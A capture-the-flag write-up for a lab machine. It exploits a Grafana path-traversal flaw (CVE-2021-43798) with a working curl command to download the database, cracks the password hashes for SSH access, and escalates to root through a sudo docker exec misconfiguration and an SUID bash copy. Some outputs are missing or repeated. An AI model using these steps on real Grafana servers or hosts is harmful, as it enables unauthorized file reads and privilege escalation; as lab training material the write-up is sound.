Data is an easy Linux machine from VL created by xct that starts off with exploiting CVE-2021-43798 to read a database file. I then use a python script to format the hash that was found in the database file into hashcat format. Then I crack the hash to reveal creds that work over SSH for the user flag. For root I’ll take advantage of a sudo misconfiguration to run bash in a docker container, and then I can mount the host filesystem to read the root flag. I’ll showcase two different easy ways to get a shell as root.
Nmap Scan
Scan
I’ll start by running nmap to discover open ports:
Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Oct 29 22:19:45 2024 -- 1 IP address (1 host up) scanned in 148.96 seconds
I can see two services, SSH & HTTP. SSH doesn’t give me anything without creds, so my initial target seems to be 3000/tcp which is HTTP.
Recon
HTTP - 3000 (Grafana)
The HTTP instance is running Grafana, and I can see the version that it is running:
The version Grafana is running (8.0.0) is vulnerable to CVE-2021-43798 which is an Unauthorized File Read vulnerability.
Shell as boris
Testing The Exploit
This vulnerability lies in the public/plugins/ subdir. Pretty much any plugin on Grafana can be used to get File Read, I’ll just use alertlist for example:
Using curl with --path-as-is to keep ../ in the URL, I can read /etc/passwd as a PoC.
Getting The DB File
Doing some research about Grafana, I found on Hacktricks that there is an SQLite Database file located at/var/lib/grafana/grafana.db by default. This file is data and not plaintext so so you must use --output to save it as a file in curl:
1 2 3 4 5 6 7 8
獣 ~/vl/Data/enumeration ➜ curl --path-as-is 'http://10.10.98.154:3000/public/plugins/alertlist/../../../../../../../../../var/lib/grafana/grafana.db' --output grafana.db % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 584k 100 584k 0 0 480k 0 0:00:01 0:00:01 --:--:-- 481k 獣 ~/vl/Data/enumeration ➜ ls grafana.db 獣 ~/vl/Data/enumeration ➜ file grafana.db grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 342, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 342
I can see two users, admin@localhost & boris@data.vl. I can’t use hashcat to crack these hashes upfront, so I need to convert them to a format that hashcat can recognize. To do so I’ll use a custom python script that I got from ChatGPT. I was able to figure out how the hashes work based off of an article. Here’s the python script:
System information as of Wed Oct 30 03:00:27 UTC 2024
System load: 0.0 Processes: 99 Usage of /: 19.8% of 7.69GB Users logged in: 0 Memory usage: 24% IP address for eth0: 10.10.98.154 Swap usage: 0% IP address for docker0: 172.17.0.1
0 updates can be applied immediately.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Sun Jan 23 13:11:53 2022 from 10.10.1.254 boris@ip-10-10-10-11:~$
And with that I can read the user flag:
1 2 3 4
boris@ip-10-10-10-11:~$ ls snap user.txt boris@ip-10-10-10-11:~$ cat user.txt VL{<redacted>}
Shell as root
Accessing The Container
I’ll start off by running sudo -l and there is one entry:
1 2 3 4 5 6
boris@ip-10-10-10-11:~$ sudo -l Matching Defaults entries for boris on ip-10-10-10-11: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on ip-10-10-10-11: (root) NOPASSWD: /snap/bin/docker exec *
Seems like I can run docker exec with any params, I noticed that there is a container present which is the machine that was running Grafana. I’ll read the machine’s hostname using the Grafana vulnerability:
Nice, this is the host filesystem based off the hostname. Since I’m root on the container, I have root privileges over this mount, so I’ll make a copy of bash and I’ll give it SUID as root:
System information as of Wed Oct 30 04:53:14 UTC 2024
System load: 0.0 Processes: 108 Usage of /: 19.8% of 7.69GB Users logged in: 1 Memory usage: 27% IP address for eth0: 10.10.98.154 Swap usage: 0% IP address for docker0: 172.17.0.1
0 updates can be applied immediately.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
